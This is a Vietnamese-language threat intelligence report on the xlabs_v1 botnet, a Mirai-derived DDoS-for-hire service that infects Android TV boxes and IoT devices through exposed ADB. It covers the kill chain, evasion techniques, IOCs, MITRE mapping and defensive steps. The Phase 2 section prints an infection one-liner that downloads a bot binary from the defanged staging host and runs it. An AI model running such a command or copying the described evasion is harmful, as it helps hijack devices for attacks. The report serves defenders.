xlabs_v1 — Botnet DDoS-for-Hire Lộ Diện: Một File Debug, Cả Chiến Dịch Bị Bóc Trần

Mục lục
1. Tóm tắt chiến dịch
Đầu tháng 4/2026, nhóm nghiên cứu Hunt.io phát hiện một staging server tại địa chỉ 176.65.139[.]44 (Offshore LC, AS214472, Hà Lan) để lộ toàn bộ toolkit của botnet xlabs_v1 trên HTTP/80 — không cần xác thực. Bộ file gồm binary ARM32 production (UPX-packed), debug build x86-64 không strip, payload ADB, proxy credentials, và target list.
xlabs_v1 là botnet thương mại phái sinh từ Mirai, được vận hành bởi một operator dùng handle Tadashi, bán dịch vụ DDoS-for-hire nhắm vào game server và Minecraft host theo mô hình phân tier băng thông. Điểm xâm nhập duy nhất: ADB (Android Debug Bridge) TCP/5555 — giao thức debug mặc định trên Android thường bị bật trên Android TV box, set-top box, và nhiều thiết bị IoT giá rẻ phổ biến tại thị trường Đông Nam Á.
Debug build không bị strip là sai lầm OPSEC nghiêm trọng của operator: Hunt.io khôi phục hoàn toàn ChaCha20 string table, C2 domain xlabslover[.]lol, authentication token, và danh tính operator chỉ từ một known-plaintext duy nhất.
Rủi ro với tổ chức tại Việt Nam: Truy vấn trên Hunt.io cho thấy hơn 4 triệu host có TCP/5555 mở trong 180 ngày qua. Android TV box nhập rẻ, router IoT, và camera IP không được quản lý trong môi trường doanh nghiệp là bề mặt tấn công thực tế, không phải lý thuyết.
2. Timeline sự kiện
| Thời điểm | Sự kiện |
|---|---|
| Đầu tháng 4/2026 | Hunt.io AttackCapture™ phát hiện open directory tại 176.65.139[.]44, flag Mirai activity trên TCP/80 |
| Tháng 4/2026 | Static analysis trên hai binary (arm7 UPX-packed và debug.o2 không strip); khôi phục ChaCha20 string table qua known-plaintext |
| Tháng 4/2026 | Xác định operator handle "Tadashi", C2 domain xlabslover[.]lol, authentication token, infrastructure /24 Offshore LC |
| 29/04/2026 | Hunt.io công bố báo cáo chi tiết kèm IOC và MITRE mapping |
| 05/2026 | The Hacker News tổng hợp và cảnh báo cộng đồng rộng hơn |
3. Kill Chain / Attack Flow
Phase 1 — Reconnaissance Scanner quét internet tìm host có TCP/5555 mở. Không cần exploit phức tạp: ADB là giao thức shell hợp lệ, bất kỳ ai kết nối được đều có quyền thực thi lệnh.
Phase 2 — Initial Access (T1190) Chín payload variant trong payloads.txt đẩy bot binary vào /data/local/tmp/ qua adb shell. Multi-architecture build (ARM, MIPS, x86-64, ARC, Android APK) đảm bảo bao phủ gần như toàn bộ IoT hardware.
# Ví dụ infection one-liner từ payloads.txt (dạng tiêu biểu)
adb connect <target>:5555
adb shell "cd /data/local/tmp; wget http://176.65.139[.]44/arm7 -O arm7; chmod +x arm7; ./arm7 <infection_tag>"
Phase 3 — Execution & Persistence (T1059.004, T1037) Bot khởi động theo chuỗi: block SIGINT → capture argv[1] làm infection-vector tag → khởi tạo ChaCha20 string table → giả mạo process name → daemonize. Sau bước này, process tự trở thành invisible với ps aux thông thường.
Phase 4 — Defense Evasion (T1036.005, T1055)
argv[0]ghi đè bằng/bin/bashquaprctlcallargv[1](infection tag) bị zero-out sau khi capturesetsid+close(0/1/2)tách khỏi terminalCompetitive bot killer: quét
/proc/, SIGSTOP rồi SIGKILL mọi process không nằm trong whitelist; hard-code port TCP/24936 của rival botnet để evict Phase 5 — C2 Communication (T1568.002, T1571) C2 domainxlabslover[.]lolđược resolve qua OpenNIC root nameservers trước, fallback sang system resolver. Cơ chế này giúp C2 vẫn hoạt động ngay cả khi ICANN-level sinkhole. Nếu C2 IP không reach được, bot mở fallback listener TCP/26721 với 5 variantiptables ACCEPTđể operator reconnect.
Phase 6 — Impact (T1498) Operator gửi attack command (integer ID) xuống fleet → dispatch table map sang 1 trong 21 flood variant:
| Loại | Mục tiêu | Chi tiết |
|---|---|---|
| RakNet flood | Minecraft server | Giả lập Minecraft handshake protocol |
| OpenVPN-shaped UDP | Bypass DDoS protection | UDP packet giả OpenVPN traffic |
| HTTP L7 template | Anti-DDoS L7 bypass | HTTP request template tránh WAF |
| TCP/UDP generic | Mục tiêu chung | Nhiều variant băng thông cao |
Figure 3. Attack-registry initializer đăng ký 21 attack variant vào global registry.
4. Phân tích kỹ thuật
4.1 Infection Vector — ADB TCP/5555
ADB là giao thức debug hợp lệ của Android, nhưng nhiều nhà sản xuất hardware giá rẻ để cổng này mở theo mặc định. Không cần khai thác CVE, không cần credential — kết nối TCP thẳng vào là có shell.
payloads.txt chứa 9 one-liner, trong đó có cả netcat-based và wget-based, nhắm vào Android TV box, set-top box, smart TV, và IoT-grade ARM hardware.
Figure 2. Open directory trên 176.65.139[.]44 — không cần authentication.
4.2 Binary Architecture
| File | Architecture | Notes |
|---|---|---|
arm7 |
ARMv7, 68 KB | UPX-packed, stripped — production build |
debug.o2 |
x86-64, 88 KB | Không strip, có function names, source refs, printf calls |
Debug build là sai lầm định mệnh của operator. Với symbol đầy đủ, Hunt.io reconstruct hoàn toàn logic production binary mà không cần giải mã thêm.
4.3 ChaCha20 String Table — Weak Key, Full Nonce Reuse
Các chuỗi nhạy cảm (C2 domain, auth token, operator handle) được mã hoá trong .rodata bằng ChaCha20 20-round chuẩn. Tuy nhiên:
Key 32 byte với mỗi byte ≤
0x1F— chỉ 5 effective bits/byte, không phải key ngẫu nhiênNonce và counter cố định (counter = 1) được tái sử dụng cho toàn bộ 16 lần giải mã
Vì mỗi blob ngắn hơn 64 byte (một ChaCha20 block), tất cả các call đều dùng cùng một prefix keystream Kết quả: một known-plaintext duy nhất đủ để khôi phục keystream và decrypt toàn bộ string table. C2 domain, operator handle "Tadashi", và authentication token đều bị lộ.
4.4 Bandwidth Profiling — Price Tier Automation
Đây là tính năng tiết lộ rõ nhất bản chất thương mại của xlabs_v1:
Routine mở 8.192 parallel TCP socket → connect tới Speedtest server gần nhất
(tính khoảng cách Haversine) → saturate 10 giây → report Mbps về C2 panel
Figure 6. Routine đo băng thông mở 8.192 parallel socket và tính khoảng cách Haversine tới Speedtest server.
Panel dùng số Mbps này để gán tier giá: một Android TV box kết nối fiber 500 Mbps được bán ở giá khác với thiết bị DSL 20 Mbps. Đây là product-management code, không phải evasion code.
4.5 Process Masquerade & Evasion
Figure 10. Chuỗi masquerade và daemonization trong main routine của bot.
Chuỗi evasion sau khi boot:
argv[0]→/bin/bashquaprctl(PR_SET_NAME)argv[1](infection tag) zero-out trong memory, nhưng vẫn gửi về panel trong registration handshakesetsid()tách khỏi controlling TTYclose(0/1/2)loại bỏ stdin/stdout/stderrSIGCHLD = SIG_IGNđể worker process tự reap/bin/bashlà lựa chọn khôn ngoan: mọi hệ thống Linux đều có bash process chạy hợp lệ, admin chạyps auxsẽ không chú ý thêm một "bash" nữa.
4.6 C2 Resilience — OpenNIC + Fallback Listener
Figure 9. Fallback resolver chọn từ bảng 10 IP OpenNIC root nameserver hardcoded.
Hai lớp redundancy:
OpenNIC DNS resolve
.lolTLD ngay cả khi ICANN sinkhole — domainxlabslover[.]lolvẫn resolveFallback TCP/26721: nếu C2 IP chết, bot mở inbound listener với 5 variant
iptables ACCEPT, biến mỗi bot còn sống thành SOCKS endpoint để operator reconnect từ bất kỳ IP nào
4.7 Infrastructure — Single /24 Bulletproof
Toàn bộ hoạt động được consolidate trong một /24 duy nhất của Offshore LC (AS214472, Hà Lan):
C2 server
Distribution / staging (
176.65.139[.]44)Bot binary phục vụ trên TCP/25565 (cổng Minecraft mặc định — đây là signal rõ ràng về target market)
Monero cryptojacking infrastructure co-locate trên cùng /24
5. IOC & Artifacts
Network Indicators
# C2 Domain
xlabslover[.]lol
# Staging / Distribution Server
176.65.139[.]44
# Ports của interest
TCP/5555 - ADB infection vector
TCP/25565 - Distribution server (Minecraft default port)
TCP/26721 - Bot fallback listener
TCP/24936 - Rival botnet port (bị bot kill)
File Artifacts
# Staging server file listing
arm7 - ARMv7 ELF, UPX-packed, stripped (68 KB) — production bot
debug.o2 - x86-64 ELF, không strip (88 KB) — development build
payloads.txt - 9 ADB infection one-liner (868 bytes)
proxies.txt - SOCKS5 credentials (60 bytes)
targets.txt - Target placeholder "00.00.0.0" (9 bytes)
arm7.unpacked - Unpacked production binary (analysis artifact)
Infrastructure
# ASN
AS214472 - Offshore LC (Netherlands)
# C2 Resolution
OpenNIC root nameservers (10 hardcoded IPs trong binary)
Fallback: system resolver
# Operator Handle
Tadashi
6. MITRE ATT&CK Mapping
| Tactic | Technique | ID | Ghi chú |
|---|---|---|---|
| Reconnaissance | Active Scanning: Scanning IP Blocks | T1595.001 | Scan ADB TCP/5555 toàn internet |
| Initial Access | Exploit Public-Facing Application | T1190 | ADB không cần authentication |
| Execution | Command and Scripting Interpreter: Unix Shell | T1059.004 | adb shell drop payload |
| Persistence | Boot or Logon Initialization Scripts | T1037 | Daemonize, auto-reap workers |
| Defense Evasion | Masquerading: Match Legitimate Name | T1036.005 | Process giả /bin/bash |
| Defense Evasion | Indicator Removal: Clear Command History | T1070 | argv[1] zero-out |
| Defense Evasion | Impair Defenses: Disable or Modify Tools | T1562 | Kill competitor bot processes |
| C2 | Non-Standard Port | T1571 | TCP/26721 fallback listener |
| C2 | Dynamic Resolution: Fast Flux DNS | T1568.002 | OpenNIC alternate resolution |
| Impact | Network Denial of Service: Direct Network Flood | T1498.001 | 21 flood variant |
| Impact | Endpoint Denial of Service | T1499 | L7 HTTP flood bypass |
7. Nhận định chuyên gia
xlabs_v1 không phải script kiddie project. Nhìn vào bandwidth profiling với 8.192 parallel socket, competitor-kill subsystem hard-code rival port, OpenNIC fallback resolver, và mô hình tiered pricing — đây là tư duy product manager bán SaaS, không phải hacker viết malware để dùng cá nhân.
Điểm đáng chú ý nhất về mặt OPSEC là mâu thuẫn giữa sự tinh vi của binary và sự bất cẩn của operator. ChaCha20 string encryption, process masquerade, competitive eviction — tất cả đều cho thấy hiểu biết kỹ thuật không tầm thường. Nhưng cùng một operator đó lại để debug build không strip trên HTTP/80 không có auth. Đây là lỗi đặc trưng của tier "mid-level commercial operator": đủ giỏi để build product, chưa đủ kỷ luật để maintain OPSEC nhất quán.
Góc nhìn từ môi trường Việt Nam: Bề mặt tấn công ADB TCP/5555 đặc biệt đáng lo ngại tại thị trường VN vì ba lý do. Thứ nhất, Android TV box và set-top box giá rẻ — phần lớn nhập từ các nhà sản xuất không có quy trình security hardening — cực kỳ phổ biến cả trong môi trường gia đình lẫn văn phòng nhỏ. Thứ hai, các thiết bị này thường nằm trên cùng network segment với workstation doanh nghiệp, nhưng không được quản lý bởi IT/SOC. Thứ ba, tỷ lệ cập nhật firmware của thiết bị IoT tại VN gần như bằng không — ADB có thể đã mở từ khi xuất xưởng và không ai biết.
Về mặt threat landscape khu vực: DDoS-for-hire nhắm vào game server tại Đông Nam Á là market có nhu cầu thực sự, đặc biệt trong các tranh chấp giữa guild, clan, hoặc publisher game mobile. xlabs_v1 không phải chiến dịch APT nhắm vào critical infrastructure, nhưng botnet loại này có thể bị re-tasked nhắm vào target phi game bất kỳ lúc nào nếu operator quyết định mở rộng thị trường hoặc nhận custom order.
Việc toàn bộ infrastructure co-locate trong một /24 bulletproof duy nhất là điểm yếu về resilience nhưng là lợi thế về cost cho operator. Takedown một /24 bulletproof hosting có thể làm sập cả operation nếu có sự phối hợp giữa abuse team và ISP upstream. Tuy nhiên, Offshore LC là dạng hosting được thiết kế để chống lại abuse report — không phải path dễ theo đuổi.
8. Khuyến nghị
Immediate (0–24h)
Kiểm tra và block ADB TCP/5555 trên firewall perimeter và internal segment — không có lý do business hợp lệ nào để ADB exposed ra internet hoặc sang network zone khác. Thêm C2 domain và staging IP vào block list:
# Block list entries
xlabslover[.]lol [C2 domain - DNS block]
176.65.139[.]0/24 [Offshore LC /24 - network block]
TCP/26721 [Bot fallback port - outbound block]
Short-term (1–7 ngày)
Hunt IOC trên SIEM/firewall logs — đặc biệt tìm outbound connection tới xlabslover[.]lol, kết nối ra TCP/26721, và traffic bất thường từ các thiết bị không phải workstation/server. Inventory thiết bị IoT, Android TV box, set-top box trên toàn network; bất kỳ thiết bị nào không cần quản lý từ xa qua ADB thì đặt câu hỏi tại sao cổng đó đang mở.
Long-term
Thiết lập network segmentation tách biệt IoT device khỏi corporate network — không phải best practice xa xỉ mà là baseline cần thiết. Với tổ chức sử dụng Android TV box cho meeting room hoặc digital signage: enforce disable ADB trong firmware policy hoặc firewall rule tại switch port level. Theo dõi thêm các IoT botnet khai thác ADB vì đây là vector đang được nhiều nhóm tận dụng song song.
9. Tài liệu tham khảo
Hunt.io — xlabs_v1 DDoS-for-Hire Operation Exposed: How an Operator's Debug Build Unraveled a Commercial Game-Server Botnet (29/04/2026): https://hunt.io/blog/xlabs-v1-ddos-for-hire-operation-exposed
The Hacker News — Mirai-Based xlabs_v1 Botnet Exploits ADB to Hijack IoT Devices for DDoS Attacks (05/2026): https://thehackernews.com/2026/05/mirai-based-xlabsv1-botnet-exploits-adb.html
Hunt.io HuntSQL Query — TCP/5555 exposed hosts (180 ngày): https://app.hunt.io/ip/176.65.139.44
MITRE ATT&CK — Network Denial of Service (T1498): https://attack.mitre.org/techniques/T1498/





